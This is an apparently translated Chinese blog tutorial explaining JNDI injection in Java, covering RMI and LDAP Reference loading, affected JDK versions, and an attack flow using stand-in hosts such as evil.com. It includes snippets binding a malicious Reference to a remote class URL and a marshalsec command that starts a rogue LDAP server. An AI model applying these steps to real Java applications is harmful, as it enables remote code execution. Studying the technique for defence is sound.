[Learn a little new knowledge every day] JNDI injection

  1. What is JNDI

JNDI is an API of Java that provides us with a common and unified interface to find and access various naming and directory services. Through the JNDI unified interface we can access various types of services, such as Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) or Domain Name Service (DNS), which is equivalent to a Middleware, users do not need to know the specific application requirements of the underlying application, and can directly access it through JNDI.

naming service

Naming service is a simple key-value pair binding, which can retrieve values ​​by key name. RMI is a typical naming service

Easy to understand, find objects by name, everyone has their own name~

directory service

Directory services are an extension of naming services. The difference between it and the naming service is that it can retrieve objects through object attributes. For example, if we find a person in school, we can find him through xx college-xx major-xx class-xx student number, and these tags are The attribute value of the object, this kind of hierarchical relationship is very similar to the directory relationship, so this way of storing objects is called directory service.

RMI
RMI is a distributed object application. RMI technology can enable the client to call the object of the server remotely, so that the client and the server can communicate and transfer information to each other. (Speaking and talking, I always feel like python's socket...)
  1. JNDI Dynamic Protocol Conversion

Context.PROVIDER_URL , this property specifies where to load classes that are not available locally

When Context.PROVIDER_URL is configured, it is also feasible to change the code of ctk.lookup("rmi://localhost:1099/hello") to ctk.lookup("hello")

But if dynamic protocol conversion is enabled, Context.PROVIDER_URL will be invalid. When we call the lookup() method, if the parameter of the lookup method is like a URL address, then the client will go to the URL specified by the parameter of the lookup() method Load the remote object instead of going to the address set by Context.PROVIDERURL to load the object

So when the parameters of lookup are controllable...

  1. JNDI Naming Reference

However, the attacker cannot achieve the attack by only calling the URL specified by the lookup() method parameter to load the remote object. Because the victim does not have the class file of the class provided by the attacker locally, the method cannot be called.

Ever since, there is a Reference class.

The Reference class represents a reference to an object that exists outside of the naming/directory system. If the object on the RMI service obtained remotely is the Reference class or its subclass, when the client obtains the remote object stub instance, it can load the class file from other servers for instantiation.

There are three key attributes when creating a Reference class

  • className: the class name used during remote loading;

  • classFactory: the name of the class that needs to be instantiated in the loaded class;

  • classFactoryLocation: the address of the remote loading class, the address of providing classes data can be file/ftp/http and other protocols;

To bind an object to the rmi registry, this object needs to inherit UnicastRemoteObject, but Reference does not inherit it, so we need to encapsulate it, wrap the Reference instance object with ReferenceWrapper, so that it can be bound to rmi registration table, and is remotely accessed to the

// 第一个参数是远程加载时所使用的类名, 第二个参数是要加载的类的完整类名(这两个参数可能有点让人难以琢磨,往下看你就明白了),第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://axin.com:6666/"); 
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

When a client obtains a remote object through lookup("refObj"), it obtains a Reference stub (Stub). Since it is a Reference stub, the client will now check whether the class refClassName exists in the local classpath. If not If it exists, go to the specified url (http://axin.com:6666/refClassName.class) to dynamically load, and call the no-argument constructor of insClassName , so malicious code can be written in the constructor.

Of course, in addition to writing the exploit code in the no-argument constructor, you can also use the static code block of java to write malicious code, because the code in the static code block will be executed immediately after the class file is loaded, and it will only be executed once.

  1. JNDI injection principle

Binding and lookup methods are provided in JNDI:

bind: bind the name to the object;
lookup: retrieve and execute the object by name;

The code format of JNDI is as follows:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

When the jndiName parameter is controllable and dynamic protocol conversion is enabled , it may provide opportunities for hackers to inject attacks

Injection principle

Affects versions
JDK <= 8u121

After 8u121, the default values ​​of properties such as com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase become false, so they can no longer be used

Bind the malicious Reference class in the RMI registry, where the malicious reference points to the remote malicious class file. When the user controls the external control of the lookup() function parameter of the JNDI client or the external control of the classFactoryLocation parameter of the Reference class construction method, It will make the user's JNDI client access the malicious Reference class bound in the RMI registry, thereby loading the malicious class file on the remote server and executing it locally on the client, and finally realize the JNDI injection attack leading to remote code execution

Injection process (based on rmi)

  • The attacker creates a malicious object

  • Bind a malicious Reference to the RMI registry

  • The attacker triggers dynamic environment conversion through controllable URI parameters, for example, the URI here is rmi://evil.com:1099/refObj;

  • The originally configured context environment rmi://localhost:1099 will be pointed to rmi://evil.com:1099/ due to dynamic environment conversion;

  • The user goes to rmi://evil.com:1099 to request the binding object refObj, and the RMI service prepared by the attacker in advance will return the ReferenceWrapper object bound to refObj (Reference(“EvilObject”, “EvilObject”, “http: //evil-cb.com/"));

  • The application obtains the ReferenceWrapper object, and starts to search for the EvilObject class from the local CLASSPATH. If it does not exist, it will try to obtain EvilObject.class from http://evil-cb.com/, that is, dynamically obtain http://evil- cb.com/EvilObject.class;

  • The service prepared by the attacker returns the compiled EvilObject.class containing malicious code;

  • The application starts to call the constructor of the EvilObject class, and the malicious code contained in the constructor is executed because the attacker defined it in advance;

Injection process (based on ldap)

除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。

影响版本
JDK <= 8u191 且版本不为7u201、6u211、6u141、7u131、8u121

这些版本的com.sun.jndi.ldap.object.trustURLCodebase属性默认值为false

  • 使用marshalsec构建ldap服务,服务端监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Exec 1099

http://127.0.0.1:7777/为本地服务,Exec是恶意文件,1099是开启的ldap服务端口(默认为1389)

  • 开启本地服务

python -m http.server 7777
  • 直接发起请求即可


import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:1099/Exec");
    }
}
  1. 总结

好复杂好复杂

JNDI的调用下图可能更清晰一点,主要就是Client、Server、RMI注册表这三部分

如何利用可以参考下面的漏洞复现的文章

Apache Log4j 远程代码执行漏洞

Fastjson 1.2.24反序列化漏洞

Guess you like

Origin blog.csdn.net/m0_51683653/article/details/129375707